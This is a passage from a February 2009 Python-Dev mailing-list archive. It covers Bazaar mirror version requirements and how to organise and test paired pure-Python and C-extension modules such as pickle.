References: <97B7A93A-B66D-44D1-8E69-2B78CFD50881@python.org>	<2C3A7FAB-037C-4B1B-98F4-22BC30BCE132@python.org>	<5b8d13220902201804i32c75740j5abaab819b0e89ec@mail.gmail.com>	<878wo05lkc.fsf@xemacs.org>	<5b8d13220902202337s381ee643j9ee2b56b6040ee6b@mail.gmail.com>	<874oyo5fel.fsf@xemacs.org>
	<499FCFF0.6060405@v.loewis.de> <49A03D9C.8050604@palladion.com>
Message-ID: <49A041F3.60909@v.loewis.de>

> Wouldn't such hypothetical core Python developers be able to build and
> run their own local copy of bzr, using that self-compiled Python? 

It has been hypothetical for a while, but it never was about core
developers.

Regards,
Martin

From brett at python.org  Sat Feb 21 20:07:07 2009
From: brett at python.org (Brett Cannon)
Date: Sat, 21 Feb 2009 11:07:07 -0800
Subject: [Python-Dev] Choosing a best practice solution for
	Python/extension modules
In-Reply-To: <20090221171749.12853.1251500684.divmod.quotient.12469@henry.divmod.com>
References: <bbaeab100902201345y55f77688g18282dacec7ad5f6@mail.gmail.com>
	<20090221171749.12853.1251500684.divmod.quotient.12469@henry.divmod.com>
Message-ID: <bbaeab100902211107la0003edx2a1fa3c675481e71@mail.gmail.com>

On Sat, Feb 21, 2009 at 09:17, Jean-Paul Calderone <exarkun at divmod.com>wrote:

> On Fri, 20 Feb 2009 13:45:26 -0800, Brett Cannon <brett at python.org> wrote:
>
>> On Fri, Feb 20, 2009 at 12:53, Aahz <aahz at pythoncraft.com> wrote:
>>
>>  On Fri, Feb 20, 2009, Brett Cannon wrote:
>>> > On Fri, Feb 20, 2009 at 12:37, Brett Cannon <brett at python.org> wrote:
>>> >> On Fri, Feb 20, 2009 at 12:31, Daniel Stutzbach <
>>> >> daniel at stutzbachenterprises.com> wrote:
>>> >>>
>>> >>> A slight change would make it work for modules where only key
>>> functions
>>> >>> have been rewritten.  For example, pickle.py could read:
>>> >>>
>>> >>> from _pypickle import *
>>> >>> try: from _pickle import *
>>> >>> except ImportError: pass
>>> >>
>>> >> True, although that still suffers from the problem of overwriting
>>> things
>>> >> like __name__, __file__, etc.
>>> >
>>> > Actually, I take that back; the IMPORT_STAR opcode doesn't pull in
>>> anything
>>> > starting with an underscore. So while this alleviates the worry above,
>>> it
>>> > does mean that anything that gets rewritten needs to have a name that
>>> does
>>> > not lead with an underscore for this to work. Is that really an
>>> acceptable
>>> > compromise for a simple solution like this?
>>>
>>> Doesn't __all__ control this?
>>>
>>
>>
>> If you define it, yes.
>>
>> But there is another issue with this: the pure Python code will never call
>> the extension code because the globals will be bound to _pypickle and not
>> _pickle. So if you have something like::
>>
>>  # _pypickle
>>  def A(): return _B()
>>  def _B(): return -13
>>
>>  # _pickle
>>  def _B(): return 42
>>
>>  # pickle
>>  from _pypickle import *
>>  try: from _pickle import *
>>  except ImportError: pass
>>
>> If you import pickle and call pickle.A() you will get -13 which is not
>> what
>> you are after.
>>
>
> If pickle and _pypickle are both Python modules, and _pypickle.A is
> intended
> to be used all the time, regardless of whether _pickle is available, then
> there's not really any reason to implement A in _pypickle.  Just implement
> it
> in pickle.  Then import whatever optionally fast thing it depends on from
> _pickle, if possible, and fall-back to the less fast thing in _pypickle
> otherwise.
>
> This is really the same as any other high-level/low-level library split.
>  It
> doesn't matter that in this case, one low-level implementation is provided
> as
> an extension module.  Importing the low-level APIs from another module and
> then using them to implement high-level APIs is a pretty common, simple,
> well-understood technique which is quite applicable here.


But that doesn't provide a clear way, short of screwing with sys.modules, to
get at just the pure Python implementation for testing when the extensions
are also present. The key point in trying to figure this out is to
facilitate testing since the standard library already uses the import *
trick in a couple of places.

-Brett
-------------- next part --------------
An HTML attachment was scrubbed...
URL: <http://mail.python.org/pipermail/python-dev/attachments/20090221/cbdb2ce9/attachment.htm>

From stephen at xemacs.org  Sat Feb 21 20:20:54 2009
From: stephen at xemacs.org (Stephen J. Turnbull)
Date: Sun, 22 Feb 2009 04:20:54 +0900
Subject: [Python-Dev] Attention Bazaar mirror users
In-Reply-To: <49A03739.3010202@v.loewis.de>
References: <97B7A93A-B66D-44D1-8E69-2B78CFD50881@python.org>
	<2C3A7FAB-037C-4B1B-98F4-22BC30BCE132@python.org>
	<5b8d13220902201804i32c75740j5abaab819b0e89ec@mail.gmail.com>
	<878wo05lkc.fsf@xemacs.org>
	<5b8d13220902202337s381ee643j9ee2b56b6040ee6b@mail.gmail.com>
	<874oyo5fel.fsf@xemacs.org> <499FCFF0.6060405@v.loewis.de>
	<873ae856le.fsf@xemacs.org> <49A03739.3010202@v.loewis.de>
Message-ID: <87wsbj4mw9.fsf@xemacs.org>

"Martin v. L?wis" writes:

 > so ignoring the primary target group of the setup when discussing
 > changes to is is, well, counter-productive.

I'm *not* ignoring them; I'm stating a strong belief that the great
majority of them will not be adversely affected by this change.  Since
almost by definition they're not likely to speak up very much, I'm
happy to hear arguments from a qualified observer (such as yourself)
on their behalf.  But 10,000 students who use a VCS for a school
project don't matter.  The question is, how many of them would work on
bleeding edge Python?  Those who won't can't suffer from this change!

On the other hand, every Bazaar-using developer who has a copy of bzr
>= 1.9 is *already* suffering.

 > > Unless the Barry feels that that would be a
 > > risk to Bazaar's acceptability in the end.
 > 
 > Whether it is depends on when a DVCS gets selected. If it gets selected
 > after lenny+1 has been released, I see no problem with requiring version
 > 1.12 (or whatever lenny+1 will then ship with).

I really hope we won't have to wait that long!


From glyph at divmod.com  Sat Feb 21 20:43:31 2009
From: glyph at divmod.com (glyph at divmod.com)
Date: Sat, 21 Feb 2009 19:43:31 -0000
Subject: [Python-Dev] Choosing a best practice solution
	for	Python/extension modules
In-Reply-To: <bbaeab100902211107la0003edx2a1fa3c675481e71@mail.gmail.com>
References: <bbaeab100902201345y55f77688g18282dacec7ad5f6@mail.gmail.com>
	<20090221171749.12853.1251500684.divmod.quotient.12469@henry.divmod.com>
	<bbaeab100902211107la0003edx2a1fa3c675481e71@mail.gmail.com>
Message-ID: <20090221194331.12555.1060925659.divmod.xquotient.4677@weber.divmod.com>

On 07:07 pm, brett at python.org wrote:
>On Sat, Feb 21, 2009 at 09:17, Jean-Paul Calderone 
><exarkun at divmod.com>wrote:

>>>But there is another issue with this: the pure Python code will never 
>>>call
>>>the extension code because the globals will be bound to _pypickle and 
>>>not
>>>_pickle. So if you have something like::

>>>  # _pypickle
>>>  def A(): return _B()
>>>  def _B(): return -13

>>>  # _pickle
>>>  def _B(): return 42

>>>  # pickle
>>>  from _pypickle import *
>>>  try: from _pickle import *
>>>  except ImportError: pass

>>This is really the same as any other high-level/low-level
>>library split.  It doesn't matter that in this case, one
>>low-level implementation is provided as an extension module.
>>Importing the low-level APIs from another module and then
>>using them to implement high-level APIs is a pretty common,
>>simple, well-understood technique which is quite applicable
>>here.

>But that doesn't provide a clear way, short of screwing with 
>sys.modules, to
>get at just the pure Python implementation for testing when the 
>extensions
>are also present. The key point in trying to figure this out is to
>facilitate testing since the standard library already uses the import *
>trick in a couple of places.

You don't have to screw with sys.modules.  The way I would deal with 
testing this particular interaction would be a setUp that replaces 
pickle._A with _pypickle._A, and a tearDown that restores the original 
one.

Twisted's TestCase has specific support for this.  You would spell it 
like this:

    import _pypickle
    # ...
    testCase.patch(pickle, '_A', _pypickle._A)

You can read more about this method here:

http://python.net/crew/mwh/apidocs/twisted.trial.unittest.TestCase.html#patch

From exarkun at divmod.com  Sat Feb 21 20:32:50 2009
From: exarkun at divmod.com (Jean-Paul Calderone)
Date: Sat, 21 Feb 2009 14:32:50 -0500
Subject: [Python-Dev] Choosing a best practice solution for
 Python/extension modules
In-Reply-To: <bbaeab100902211107la0003edx2a1fa3c675481e71@mail.gmail.com>
Message-ID: <20090221193250.12853.796903955.divmod.quotient.12520@henry.divmod.com>

On Sat, 21 Feb 2009 11:07:07 -0800, Brett Cannon <brett at python.org> wrote:
>On Sat, Feb 21, 2009 at 09:17, Jean-Paul Calderone <exarkun at divmod.com>wrote:
>
>> On Fri, 20 Feb 2009 13:45:26 -0800, Brett Cannon <brett at python.org> wrote:
>>
>>> On Fri, Feb 20, 2009 at 12:53, Aahz <aahz at pythoncraft.com> wrote:
>>>
>>>  On Fri, Feb 20, 2009, Brett Cannon wrote:
>>>> > On Fri, Feb 20, 2009 at 12:37, Brett Cannon <brett at python.org> wrote:
>>>> >> On Fri, Feb 20, 2009 at 12:31, Daniel Stutzbach <
>>>> >> daniel at stutzbachenterprises.com> wrote:
>>>> >>>
>>>> >>> A slight change would make it work for modules where only key
>>>> functions
>>>> >>> have been rewritten.  For example, pickle.py could read:
>>>> >>>
>>>> >>> from _pypickle import *
>>>> >>> try: from _pickle import *
>>>> >>> except ImportError: pass
>>>> >>
>>>> >> True, although that still suffers from the problem of overwriting
>>>> things
>>>> >> like __name__, __file__, etc.
>>>> >
>>>> > Actually, I take that back; the IMPORT_STAR opcode doesn't pull in
>>>> anything
>>>> > starting with an underscore. So while this alleviates the worry above,
>>>> it
>>>> > does mean that anything that gets rewritten needs to have a name that
>>>> does
>>>> > not lead with an underscore for this to work. Is that really an
>>>> acceptable
>>>> > compromise for a simple solution like this?
>>>>
>>>> Doesn't __all__ control this?
>>>>
>>>
>>>
>>> If you define it, yes.
>>>
>>> But there is another issue with this: the pure Python code will never call
>>> the extension code because the globals will be bound to _pypickle and not
>>> _pickle. So if you have something like::
>>>
>>>  # _pypickle
>>>  def A(): return _B()
>>>  def _B(): return -13
>>>
>>>  # _pickle
>>>  def _B(): return 42
>>>
>>>  # pickle
>>>  from _pypickle import *
>>>  try: from _pickle import *
>>>  except ImportError: pass
>>>
>>> If you import pickle and call pickle.A() you will get -13 which is not
>>> what
>>> you are after.
>>>
>>
>> If pickle and _pypickle are both Python modules, and _pypickle.A is
>> intended
>> to be used all the time, regardless of whether _pickle is available, then
>> there's not really any reason to implement A in _pypickle.  Just implement
>> it
>> in pickle.  Then import whatever optionally fast thing it depends on from
>> _pickle, if possible, and fall-back to the less fast thing in _pypickle
>> otherwise.
>>
>> This is really the same as any other high-level/low-level library split.
>>  It
>> doesn't matter that in this case, one low-level implementation is provided
>> as
>> an extension module.  Importing the low-level APIs from another module and
>> then using them to implement high-level APIs is a pretty common, simple,
>> well-understood technique which is quite applicable here.
>
>
>But that doesn't provide a clear way, short of screwing with sys.modules, to
>get at just the pure Python implementation for testing when the extensions
>are also present. The key point in trying to figure this out is to
>facilitate testing since the standard library already uses the import *
>trick in a couple of places.

"screwing with sys.modules" isn't a goal.  It's a means of achieving a goal,
and not a particularly good one.

I guess I overedited my message, sorry about that.  Originally I included
an example of how to parameterize the high-level API to make it easier to
test (or use) with any implementation one wants.  It went something like
this:

    try:
        import _pickle as _lowlevel
    except ImportError:
        import _pypickle as _lowlevel

    class Pickler:
        def __init__(self, implementation=None):
            if implementation is None:
                implementation = _lowlevel
            self.dump = implementation.dump
            self.load = implementation.load
            ...

Perhaps this isn't /exactly/ how pickle wants to work - I haven't looked at
how the C extension and the Python code fit together - but the general idea
should apply regardless of those details.

Jean-Paul

From martin at v.loewis.de  Sat Feb 21 20:47:10 2009
From: martin at v.loewis.de (=?ISO-8859-1?Q?=22Martin_v=2E_L=F6wis=22?=)
Date: Sat, 21 Feb 2009 20:47:10 +0100
Subject: [Python-Dev] Attention Bazaar mirror users
In-Reply-To: <87wsbj4mw9.fsf@xemacs.org>
References: <97B7A93A-B66D-44D1-8E69-2B78CFD50881@python.org>	<2C3A7FAB-037C-4B1B-98F4-22BC30BCE132@python.org>	<5b8d13220902201804i32c75740j5abaab819b0e89ec@mail.gmail.com>	<878wo05lkc.fsf@xemacs.org>	<5b8d13220902202337s381ee643j9ee2b56b6040ee6b@mail.gmail.com>	<874oyo5fel.fsf@xemacs.org>	<499FCFF0.6060405@v.loewis.de>	<873ae856le.fsf@xemacs.org>	<49A03739.3010202@v.loewis.de>
	<87wsbj4mw9.fsf@xemacs.org>
Message-ID: <49A05A3E.2080309@v.loewis.de>

> I'm *not* ignoring them; I'm stating a strong belief that the great
> majority of them will not be adversely affected by this change.  Since
> almost by definition they're not likely to speak up very much, I'm
> happy to hear arguments from a qualified observer (such as yourself)
> on their behalf.  But 10,000 students who use a VCS for a school
> project don't matter.  The question is, how many of them would work on
> bleeding edge Python?  Those who won't can't suffer from this change!

>From my experience, students trying to hack open source software
*always* take the public source repository (if available). Downloading
the latest source release doesn't cross their mind. I'm not talking
about regular school projects. I talk about Joe Random CS student who
wants to do some fun project in his spare time.

By using the DVCS, they can trust that they will be able to track
changes - IIUC, that is supposedly the *major* advantage.

Of course, many of them also have personal laptops these days on
which they do stuff, at least here in Germany, where they can
install whatever it takes.

Regards,
Martin

From solipsis at pitrou.net  Sat Feb 21 20:47:35 2009
From: solipsis at pitrou.net (Antoine Pitrou)
Date: Sat, 21 Feb 2009 19:47:35 +0000 (UTC)
Subject: [Python-Dev] Attention Bazaar mirror users
References: <97B7A93A-B66D-44D1-8E69-2B78CFD50881@python.org>
	<2C3A7FAB-037C-4B1B-98F4-22BC30BCE132@python.org>
	<5b8d13220902201804i32c75740j5abaab819b0e89ec@mail.gmail.com>
	<878wo05lkc.fsf@xemacs.org>
	<5b8d13220902202337s381ee643j9ee2b56b6040ee6b@mail.gmail.com>
	<874oyo5fel.fsf@xemacs.org> <499FCFF0.6060405@v.loewis.de>
	<873ae856le.fsf@xemacs.org> <49A03739.3010202@v.loewis.de>
	<87wsbj4mw9.fsf@xemacs.org>
Message-ID: <loom.20090221T194703-647@post.gmane.org>

Stephen J. Turnbull <stephen <at> xemacs.org> writes:
>  > 
>  > Whether it is depends on when a DVCS gets selected. If it gets selected
>  > after lenny+1 has been released, I see no problem with requiring version
>  > 1.12 (or whatever lenny+1 will then ship with).
> 
> I really hope we won't have to wait that long!

There are other DVCSes out there, you don't have to "wait" :)



From barry at python.org  Sat Feb 21 21:30:28 2009
From: barry at python.org (Barry Warsaw)
Date: Sat, 21 Feb 2009 15:30:28 -0500
Subject: [Python-Dev] Attention Bazaar mirror users
In-Reply-To: <873ae856le.fsf@xemacs.org>
References: <97B7A93A-B66D-44D1-8E69-2B78CFD50881@python.org>
	<2C3A7FAB-037C-4B1B-98F4-22BC30BCE132@python.org>
	<5b8d13220902201804i32c75740j5abaab819b0e89ec@mail.gmail.com>
	<878wo05lkc.fsf@xemacs.org>
	<5b8d13220902202337s381ee643j9ee2b56b6040ee6b@mail.gmail.com>
	<874oyo5fel.fsf@xemacs.org> <499FCFF0.6060405@v.loewis.de>
	<873ae856le.fsf@xemacs.org>
Message-ID: <D6CC9C9B-AED3-4AD0-9FB9-375E5E177C66@python.org>

-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

On Feb 21, 2009, at 7:15 AM, Stephen J. Turnbull wrote:

> Besides, if Barry makes this experiment *now* and enough people speak
> up that it will make it difficult for them to contribute to Python,
> the Bazaar proponents can revert to an older version of Bazaar before
> a final decision is made.

I'm going to resist the temptation to respond to every message in this  
thread, but really the point was to put forward the best experience  
with the current experiment.  I actually didn't think there were more  
than a handful of people using the current mirrors  and I didn't  
expect any of them to have a real problem with requiring bzr 1.9.  I  
mean, it can be built and run completely from your own directory if  
need be.  Bazaar is Just Python (well, and a little optional Pyrex).

I'm going to resist the temptation to discuss moving beyond the  
current experimental mirror or the final PEP 374 decision.  The latter  
awaits Brett's analysis and no doubt length and passionate debate  
here.  My own personal prediction is that even if a decision is made  
soon after Pycon (Brett has said it won't happen before), actual  
deployment is months away at best.

I think no matter what DVCS gets chosen, there will be lots of  
operational details to be worked out about actually self-hosting those  
branches to the greatest benefit of Python developers, both core and  
non-core.

Barry

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.4.9 (Darwin)

iQCVAwUBSaBkZXEjvBPtnXfVAQI4egQAgDgOsVY4xnW34xWCOYZOPUtkzIg/SezM
hc8F4VEA2d8s3E7b9Atn4uRBm6ouI57PvIXSOkSUczXAm13yBGazGeQgTo6+VRzq
lVIc4VzZU48jn4sUWESjfH0ewZEbnojUCrLtPa5mE4BWtfor3XlYNl6DjBQRh73V
4T6BAhg8rIc=
=p3rb
-----END PGP SIGNATURE-----

From barry at python.org  Sat Feb 21 21:32:31 2009
From: barry at python.org (Barry Warsaw)
Date: Sat, 21 Feb 2009 15:32:31 -0500
Subject: [Python-Dev] Attention Bazaar mirror users
In-Reply-To: <499FCFF0.6060405@v.loewis.de>
References: <97B7A93A-B66D-44D1-8E69-2B78CFD50881@python.org>	<2C3A7FAB-037C-4B1B-98F4-22BC30BCE132@python.org>	<5b8d13220902201804i32c75740j5abaab819b0e89ec@mail.gmail.com>	<878wo05lkc.fsf@xemacs.org>	<5b8d13220902202337s381ee643j9ee2b56b6040ee6b@mail.gmail.com>
	<874oyo5fel.fsf@xemacs.org> <499FCFF0.6060405@v.loewis.de>
Message-ID: <07F2CB6A-2C2A-49F2-9E1B-7B0351733913@python.org>

-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

On Feb 21, 2009, at 4:57 AM, Martin v. L?wis wrote:

> There is no problem with people building their own versions of Python,
> though - they do so in their home directories, and OS security
> mechanisms prevent them from doing harm to other users.

As should be the case with Bazaar and I assume Mercurial or Git.  I  
just offered up the PPA for folks like me who are root but lazy. :)

Barry

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.4.9 (Darwin)

iQCVAwUBSaBk33EjvBPtnXfVAQI4sgP+LST/04wpPdckq++BLt5rpeCNfFomu+Zi
ea/wWcVvaEOe5qX+wBuzV7+hfHpJdf5mjX6o876G2CR3ES9T4wMIZj8NJXpa6fLV
/fioiIgT9/cp5sdtuFtMkN+QPrTYqSkOwoeyEuP1pmxEQLUfMxcb43ipOt/fNRzk
1FVf/g5I5/w=
=Ft/Z
-----END PGP SIGNATURE-----

From asmodai at in-nomine.org  Sat Feb 21 21:35:51 2009
From: asmodai at in-nomine.org (Jeroen Ruigrok van der Werven)
Date: Sat, 21 Feb 2009 21:35:51 +0100
Subject: [Python-Dev] Attention Bazaar mirror users
In-Reply-To: <D6CC9C9B-AED3-4AD0-9FB9-375E5E177C66@python.org>
References: <97B7A93A-B66D-44D1-8E69-2B78CFD50881@python.org>
	<2C3A7FAB-037C-4B1B-98F4-22BC30BCE132@python.org>
	<5b8d13220902201804i32c75740j5abaab819b0e89ec@mail.gmail.com>
	<878wo05lkc.fsf@xemacs.org>
	<5b8d13220902202337s381ee643j9ee2b56b6040ee6b@mail.gmail.com>
	<874oyo5fel.fsf@xemacs.org> <499FCFF0.6060405@v.loewis.de>
	<873ae856le.fsf@xemacs.org>
	<D6CC9C9B-AED3-4AD0-9FB9-375E5E177C66@python.org>
Message-ID: <20090221203551.GD22408@nexus.in-nomine.org>

-On [20090221 21:30], Barry Warsaw (barry at python.org) wrote:
>I think no matter what DVCS gets chosen

Isn't that getting ahead of the game? I thought that the choice whether or
not a DVCS gets chosen is part of that PEP?

-- 
Jeroen Ruigrok van der Werven <asmodai(-at-)in-nomine.org> / asmodai
????? ?????? ??? ?? ??????
http://www.in-nomine.org/ | http://www.rangaku.org/ | GPG: 2EAC625B
Earth to earth, ashes to ashes, dust to dust...

From barry at python.org  Sat Feb 21 21:37:10 2009
From: barry at python.org (Barry Warsaw)
Date: Sat, 21 Feb 2009 15:37:10 -0500
Subject: [Python-Dev] A suggestion: Do proto-PEPs in Google Docs
In-Reply-To: <87eixs5tp5.fsf@xemacs.org>
References: <499C6E00.2030602@canterbury.ac.nz> <499CC6E8.5050104@ronadam.com>
	<499D243B.8080801@canterbury.ac.nz>
	<499D2740.1070408@canterbury.ac.nz>
	<499D3086.6020706@canterbury.ac.nz>
	<ca471dc20902190712o1ebb3ee5r10f46147abd78324@mail.gmail.com>
	<87tz6ppzk9.fsf@xemacs.org> <gnm3fd$g0p$1@ger.gmane.org>
	<loom.20090220T112059-856@post.gmane.org>
	<ca471dc20902200950o699e139bj2715c403cfa90be4@mail.gmail.com>
	<gnmr8g$6dr$1@ger.gmane.org> <87eixs5tp5.fsf@xemacs.org>
Message-ID: <B662F7A0-8256-492A-8D52-0F607A1E2707@python.org>

-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

On Feb 20, 2009, at 10:56 PM, Stephen J. Turnbull wrote:

> (1) and (2) are obvious, I think, and I don't know how much (3) really
> matters when the editors are a small group.  But I was surprised by
> how much (4), and (5) contributed to my experience working on PEP
> 0374.  Maybe Brett, Barry, or Alexandre would like to comment?

My only comment is that Google docs did not always work correctly for  
me.  E.g. at some point toward the end of the process, I lost the  
ability to add comments.  But hey, it's a big pile of JavaScript so I  
can understand it'll be buggy. :)

When it did work, it was pretty convenient.  I don't think too many  
PEPs will need that kind of high bandwidth collaborative environment,  
but it's nice to have when you need it.

Barry

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.4.9 (Darwin)

iQCVAwUBSaBl9nEjvBPtnXfVAQK3hwP/dGqkRvIOZbQLVq3m2e+x632jACisNa8D
s398OU/dLz5ZLI6jMGzBTV4r30RypdlQzI47SzfVb2NS6eEtDEkej1f2TvJUm/uJ
O3ROBgo87rmcd9Yu9tClWJLTLw195N1F0fUoy4GwO8cR0+pWXhiVocaRMFSaMciT
zbWrVfp1ep0=
=l2FD
-----END PGP SIGNATURE-----

From barry at python.org  Sat Feb 21 21:38:04 2009
From: barry at python.org (Barry Warsaw)
Date: Sat, 21 Feb 2009 15:38:04 -0500
Subject: [Python-Dev] Attention Bazaar mirror users
In-Reply-To: <20090221203551.GD22408@nexus.in-nomine.org>
References: <97B7A93A-B66D-44D1-8E69-2B78CFD50881@python.org>
	<2C3A7FAB-037C-4B1B-98F4-22BC30BCE132@python.org>
	<5b8d13220902201804i32c75740j5abaab819b0e89ec@mail.gmail.com>
	<878wo05lkc.fsf@xemacs.org>
	<5b8d13220902202337s381ee643j9ee2b56b6040ee6b@mail.gmail.com>
	<874oyo5fel.fsf@xemacs.org> <499FCFF0.6060405@v.loewis.de>
	<873ae856le.fsf@xemacs.org>
	<D6CC9C9B-AED3-4AD0-9FB9-375E5E177C66@python.org>
	<20090221203551.GD22408@nexus.in-nomine.org>
Message-ID: <C99A3EAD-00AF-4549-AAE6-A55571621A03@python.org>

-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

On Feb 21, 2009, at 3:35 PM, Jeroen Ruigrok van der Werven wrote:

> -On [20090221 21:30], Barry Warsaw (barry at python.org) wrote:
>> I think no matter what DVCS gets chosen
>
> Isn't that getting ahead of the game? I thought that the choice  
> whether or
> not a DVCS gets chosen is part of that PEP?

It is.

Barry

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.4.9 (Darwin)

iQCVAwUBSaBmLHEjvBPtnXfVAQJ2lAP+MFbyWa0j3ups4LFiyyLMMZ3jUKsaynFr
v7CzOMnZQ4QRQoMyM9wlpQKha0VUUdr3dqS/w6O6fRzIT0ROzj/7I1glsW+4Yh5f
ho1vCp41wZ+zUxjDTchho+4Qjo999w9l5rtn6N/5i2WM/0sut9xLKHEGO+EbJtEN
in+wNbIDuYY=
=Gz+m
-----END PGP SIGNATURE-----

From p.f.moore at gmail.com  Sat Feb 21 22:11:10 2009
From: p.f.moore at gmail.com (Paul Moore)
Date: Sat, 21 Feb 2009 21:11:10 +0000
Subject: [Python-Dev] Attention Bazaar mirror users
In-Reply-To: <49A041F3.60909@v.loewis.de>
References: <97B7A93A-B66D-44D1-8E69-2B78CFD50881@python.org>
	<2C3A7FAB-037C-4B1B-98F4-22BC30BCE132@python.org>
	<5b8d13220902201804i32c75740j5abaab819b0e89ec@mail.gmail.com>
	<878wo05lkc.fsf@xemacs.org>
	<5b8d13220902202337s381ee643j9ee2b56b6040ee6b@mail.gmail.com>
	<874oyo5fel.fsf@xemacs.org> <499FCFF0.6060405@v.loewis.de>
	<49A03D9C.8050604@palladion.com> <49A041F3.60909@v.loewis.de>
Message-ID: <79990c6b0902211311o504fe0b0w539131aff38090ce@mail.gmail.com>

2009/2/21 "Martin v. L?wis" <martin at v.loewis.de>:
>> Wouldn't such hypothetical core Python developers be able to build and
>> run their own local copy of bzr, using that self-compiled Python?
>
> It has been hypothetical for a while, but it never was about core
> developers.

Given that it *is* all hypothetical by now, if someone is interested
in hacking on Python, why should they have to build their own copy of
the DVCS to do so?

Paul.

PS Just for my own information, am I correct in thinking that it is
*only* Bazaar in the (D)VCS world that has this problem, to any real
extent? I know old Mercurial clients can interact with newer servers
(ie, the wire protocol hasn't changed), I'm fairly sure that older
Subversion clients can talk to newer servers (at least, I've never
cared what client version I'm running). I've not heard of this type of
discussion around Git (but my experience is limited). But Bazaar seems
very prone to this "upgrade the server and the clients need to be
upgraded too" cycle.

From brett at python.org  Sat Feb 21 22:17:49 2009
From: brett at python.org (Brett Cannon)
Date: Sat, 21 Feb 2009 13:17:49 -0800
Subject: [Python-Dev] Choosing a best practice solution for
	Python/extension modules
In-Reply-To: <20090221194331.12555.1060925659.divmod.xquotient.4677@weber.divmod.com>
References: <bbaeab100902201345y55f77688g18282dacec7ad5f6@mail.gmail.com>
	<20090221171749.12853.1251500684.divmod.quotient.12469@henry.divmod.com>
	<bbaeab100902211107la0003edx2a1fa3c675481e71@mail.gmail.com>
	<20090221194331.12555.1060925659.divmod.xquotient.4677@weber.divmod.com>
Message-ID: <bbaeab100902211317h65dee5bfic27872cf47ff699a@mail.gmail.com>

On Sat, Feb 21, 2009 at 11:43, <glyph at divmod.com> wrote:

> On 07:07 pm, brett at python.org wrote:
>
>> On Sat, Feb 21, 2009 at 09:17, Jean-Paul Calderone <exarkun at divmod.com
>> >wrote:
>>
>
>  But there is another issue with this: the pure Python code will never call
>>>> the extension code because the globals will be bound to _pypickle and
>>>> not
>>>> _pickle. So if you have something like::
>>>>
>>>
>   # _pypickle
>>>>  def A(): return _B()
>>>>  def _B(): return -13
>>>>
>>>
>   # _pickle
>>>>  def _B(): return 42
>>>>
>>>
>   # pickle
>>>>  from _pypickle import *
>>>>  try: from _pickle import *
>>>>  except ImportError: pass
>>>>
>>>
>  This is really the same as any other high-level/low-level
>>> library split.  It doesn't matter that in this case, one
>>> low-level implementation is provided as an extension module.
>>> Importing the low-level APIs from another module and then
>>> using them to implement high-level APIs is a pretty common,
>>> simple, well-understood technique which is quite applicable
>>> here.
>>>
>>
>  But that doesn't provide a clear way, short of screwing with sys.modules,
>> to
>> get at just the pure Python implementation for testing when the extensions
>> are also present. The key point in trying to figure this out is to
>> facilitate testing since the standard library already uses the import *
>> trick in a couple of places.
>>
>
> You don't have to screw with sys.modules.  The way I would deal with
> testing this particular interaction would be a setUp that replaces pickle._A
> with _pypickle._A, and a tearDown that restores the original one.
>
> Twisted's TestCase has specific support for this.  You would spell it like
> this:
>
>   import _pypickle
>   # ...
>   testCase.patch(pickle, '_A', _pypickle._A)
>
> You can read more about this method here:
>
>
> http://python.net/crew/mwh/apidocs/twisted.trial.unittest.TestCase.html#patch


My worry with this approach is that while this works nicely if you are only
overriding a single function, having to do this for all functions and
classes in order to make sure you are testing the extension code with all
the extension code instead of intermingled extension/Python code. So a
function that did this automatically for the entire module would be needed,
which is like what I proposed in my use_extension function.

I am seeing two approaches emerging. One is where pickle contains all Python
code and then uses something like use_extension to make sure the original
Python objects are still reachable at some point. This has the drawback that
you have to use some function to make the extensions happen and there is
some extra object storage.

The other approach is having pickle contain code known not to be overridden
by anyone, import _pypickle for stuff that may be overridden, and then
import _pickle for whatever is available. This approach has the perk of
using a standard practice for how to pull in different implementation. But
the drawback, thanks to how globals are bound, is that any code pulled in
from _pickle/_pypickle will not be able to call into other optimized code;
it's a take or leave it once the call chain enters one of those modules as
they will always call the implementations in the module they originate from.

-Brett
-------------- next part --------------
An HTML attachment was scrubbed...
URL: <http://mail.python.org/pipermail/python-dev/attachments/20090221/6ed52e48/attachment.htm>

From brett at python.org  Sat Feb 21 22:19:10 2009
From: brett at python.org (Brett Cannon)
Date: Sat, 21 Feb 2009 13:19:10 -0800
Subject: [Python-Dev] Choosing a best practice solution for
	Python/extension modules
In-Reply-To: <20090221193250.12853.796903955.divmod.quotient.12520@henry.divmod.com>
References: <bbaeab100902211107la0003edx2a1fa3c675481e71@mail.gmail.com>
	<20090221193250.12853.796903955.divmod.quotient.12520@henry.divmod.com>
Message-ID: <bbaeab100902211319j5206cf27vffd44fb16233daf6@mail.gmail.com>

On Sat, Feb 21, 2009 at 11:32, Jean-Paul Calderone <exarkun at divmod.com>wrote:

> On Sat, 21 Feb 2009 11:07:07 -0800, Brett Cannon <brett at python.org> wrote:
>
>> On Sat, Feb 21, 2009 at 09:17, Jean-Paul Calderone <exarkun at divmod.com
>> >wrote:
>>
>>  On Fri, 20 Feb 2009 13:45:26 -0800, Brett Cannon <brett at python.org>
>>> wrote:
>>>
>>>  On Fri, Feb 20, 2009 at 12:53, Aahz <aahz at pythoncraft.com> wrote:
>>>>
>>>>  On Fri, Feb 20, 2009, Brett Cannon wrote:
>>>>
>>>>> > On Fri, Feb 20, 2009 at 12:37, Brett Cannon <brett at python.org>
>>>>> wrote:
>>>>> >> On Fri, Feb 20, 2009 at 12:31, Daniel Stutzbach <
>>>>> >> daniel at stutzbachenterprises.com> wrote:
>>>>> >>>
>>>>> >>> A slight change would make it work for modules where only key
>>>>> functions
>>>>> >>> have been rewritten.  For example, pickle.py could read:
>>>>> >>>
>>>>> >>> from _pypickle import *
>>>>> >>> try: from _pickle import *
>>>>> >>> except ImportError: pass
>>>>> >>
>>>>> >> True, although that still suffers from the problem of overwriting
>>>>> things
>>>>> >> like __name__, __file__, etc.
>>>>> >
>>>>> > Actually, I take that back; the IMPORT_STAR opcode doesn't pull in
>>>>> anything
>>>>> > starting with an underscore. So while this alleviates the worry
>>>>> above,
>>>>> it
>>>>> > does mean that anything that gets rewritten needs to have a name that
>>>>> does
>>>>> > not lead with an underscore for this to work. Is that really an
>>>>> acceptable
